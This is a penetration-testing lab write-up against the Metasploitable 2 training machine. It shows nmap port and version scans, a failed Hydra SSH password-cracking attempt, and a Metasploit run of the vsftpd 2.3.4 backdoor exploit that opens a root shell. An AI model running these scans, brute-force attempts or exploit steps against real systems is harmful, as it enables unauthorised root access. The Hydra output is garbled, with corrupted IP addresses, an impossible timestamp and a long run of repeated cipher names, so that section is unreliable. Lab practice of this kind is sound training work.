Box ip: 192.168.126.102 Box Name: Metasploitable 2

Box type:

- Active Information Gathering
- Public Exploits
- Metasploit Framework

Initial Scan: Nmap

```
PORT
        STATE SERVICE
21/tcp
        open ftp
        open ssh
22/tcp
23/tcp
        open telnet
25/tcp
        open smtp
        open domain
53/tcp
        open http
80/tcp
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open
              rmiregistry
1524/tcp open
              ingreslock
2049/tcp open
              nfs
2121/tcp open
              ccproxy-ftp
3306/tcp open
              mysql
5432/tcp open
              postgresql
5900/tcp open
              vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open
              ajp13
8180/tcp open
              unknown
```

Nmap Version scan gives the following

```
PORT
        STATE SERVICE
                           VERSION
21/tcp open ftp
                    vsftpd 2.3.4
                    OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
22/tcp open ssh
23/tcp open telnet
                    Linux telnetd
25/tcp open smtp
                     Postfix smtpd
53/tcp open domain
                      ISC BIND 9.4.2
                    Apache httpd 2.2.8 ((Ubuntu) DAV/2)
80/tcp open http
                      2 (RPC #100000)
111/tcp open rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
                     netkit-rsh rexecd
512/tcp open exec
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs
                     2-4 (RPC #100003)
2121/tcp open ftp
                     ProFTPD 1.3.1
3306/tcp open mysql
                       MySQL 5.0.51a-3ubuntu5
```

```
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
```

OS and HOST name detection:

• OS: Ubuntu

• Hostname: METASPLOITABLE

```
Host script results:
|_clock-skew: mean: 1h15m01s, deviation: 2h30m00s, median: 0s
 smb-security-mode:
    account_used: guest
    authentication_level: user
    challenge_response: supported
   message_signing: disabled (dangerous, but default)
 _smb2-time: Protocol negotiation failed (SMB2)
  smb-os-discovery:
    OS: Unix (Samba 3.0.20-Debian)
    Computer name: metasploitable
    NetBIOS computer name:
    Domain name: localdomain
    FQDN: metasploitable.localdomain
    System time: 2022-11-21T11:51:27-05:00
 nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
```

Note: HostName could be a User Name

SSH password cracking using Hydra: STATUS: Not Working

```
Mydra (https://github.com/vanhusser-thc/thc-hydra) starting at 2022-11-21 21:00:65
[DATA] max 4 stais per 1 server; averal 1 tasks, 11344399 login tries (l:1/p:14344399), -3586100 tries per task
[DATA] attacking snh://192.106.126.126.121
[DATA] attacking snh://192.106.126.126.122
[DATA] attacking snh://192.106.126.124:22 - kex error : no match for method server host key algo: server [ssh-rsa,ssh-dss], client [ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-250]
[DATA] attacking snh://192.106.126.114:22 - kex error : no match for method server host key algo: server [ssh-rsa,ssh-dss], client [ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp266,rsa-sha2-nistp26
```

Searching Exploits:

1.vsftpd 2.3.4is vulnerable to "ftp/vsftpd 234 backdoor"

Description

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

Proof of Concept

1. Setting up payload in Metasploit

```
msf6 exploit(multi/samba/usermap_script) > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > []
```

2. configuring payload msf6 exploit(unix/ftp/vsftpd_234

3. Running the Exploit gives direct access to 'root'user

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.126.102:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.126.102:21 - USER: 331 Please specify the password.

[*] 192.168.126.102:21 - Backdoor service has been spawned, handling...

[*] 192.168.126.102:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 2 opened (192.168.126.169:43599 -> 192.168.126.102:6200) at 2022-11-21 22:34:31 +0530

whoami
root

[]
```